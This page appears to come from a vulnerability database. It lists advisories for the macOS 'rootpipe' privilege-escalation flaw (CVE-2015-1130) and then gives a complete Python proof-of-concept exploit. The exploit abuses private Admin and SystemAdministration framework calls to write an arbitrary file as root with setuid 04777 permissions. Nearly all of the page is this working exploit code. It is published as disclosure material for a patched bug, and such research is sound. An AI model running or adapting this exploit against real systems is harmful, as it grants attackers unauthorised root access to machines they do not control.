| Reporter | Title | Published | Views | Family All 32 |
|---|---|---|---|---|
| Mac OS X rootpipe Local Privilege Escalation Exploit | 9 Apr 201500:00 | – | zdt | |
| Mac OS X Rootpipe Privilege Escalation Exploit | 12 Apr 201500:00 | – | zdt | |
| Mac OS X 10.10.x < 10.10.3 Multiple Vulnerabilities | 10 Apr 201900:00 | – | nessus | |
| Mac OS X 10.10.x < 10.10.3 Multiple Vulnerabilities (FREAK) | 10 Apr 201500:00 | – | nessus | |
| CVE-2015-1130 | 10 Apr 201500:00 | – | attackerkb | |
| CVE-2015-1130 | 9 Apr 201500:00 | – | circl | |
| Apple OS X Authentication Bypass Vulnerability | 10 Feb 202200:00 | – | cisa_kev | |
| CISA Adds 15 Known Exploited Vulnerabilities to Catalog | 10 Feb 202200:00 | – | cisa | |
| Apple OS X Elevation of Privilege Vulnerability | 16 Apr 201500:00 | – | cnvd | |
| CVE-2015-1130 | 10 Apr 201514:00 | – | cve |
########################################################
#
# PoC exploit code for rootpipe (CVE-2015-1130)
#
# Created by Emil Kvarnhammar, TrueSec
#
# Tested on OS X 10.7.5, 10.8.2, 10.9.5 and 10.10.2
#
########################################################
import os
import sys
import platform
import re
import ctypes
import objc
import sys
from Cocoa import NSData, NSMutableDictionary, NSFilePosixPermissions
from Foundation import NSAutoreleasePool
def load_lib(append_path):
return ctypes.cdll.LoadLibrary("/System/Library/PrivateFrameworks/" + append_path);
def use_old_api():
return re.match("^(10.7|10.8)(.\d)?$", platform.mac_ver()[0])
args = sys.argv
if len(args) != 3:
print "usage: exploit.py source_binary dest_binary_as_root"
sys.exit(-1)
source_binary = args[1]
dest_binary = os.path.realpath(args[2])
if not os.path.exists(source_binary):
raise Exception("file does not exist!")
pool = NSAutoreleasePool.alloc().init()
attr = NSMutableDictionary.alloc().init()
attr.setValue_forKey_(04777, NSFilePosixPermissions)
data = NSData.alloc().initWithContentsOfFile_(source_binary)
print "will write file", dest_binary
if use_old_api():
adm_lib = load_lib("/Admin.framework/Admin")
Authenticator = objc.lookUpClass("Authenticator")
ToolLiaison = objc.lookUpClass("ToolLiaison")
SFAuthorization = objc.lookUpClass("SFAuthorization")
authent = Authenticator.sharedAuthenticator()
authref = SFAuthorization.authorization()
# authref with value nil is not accepted on OS X <= 10.8
authent.authenticateUsingAuthorizationSync_(authref)
st = ToolLiaison.sharedToolLiaison()
tool = st.tool()
tool.createFileWithContents_path_attributes_(data, dest_binary, attr)
else:
adm_lib = load_lib("/SystemAdministration.framework/SystemAdministration")
WriteConfigClient = objc.lookUpClass("WriteConfigClient")
client = WriteConfigClient.sharedClient()
client.authenticateUsingAuthorizationSync_(None)
tool = client.remoteProxy()
tool.createFileWithContents_path_attributes_(data, dest_binary, attr, 0)
print "Done!"
del pool
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation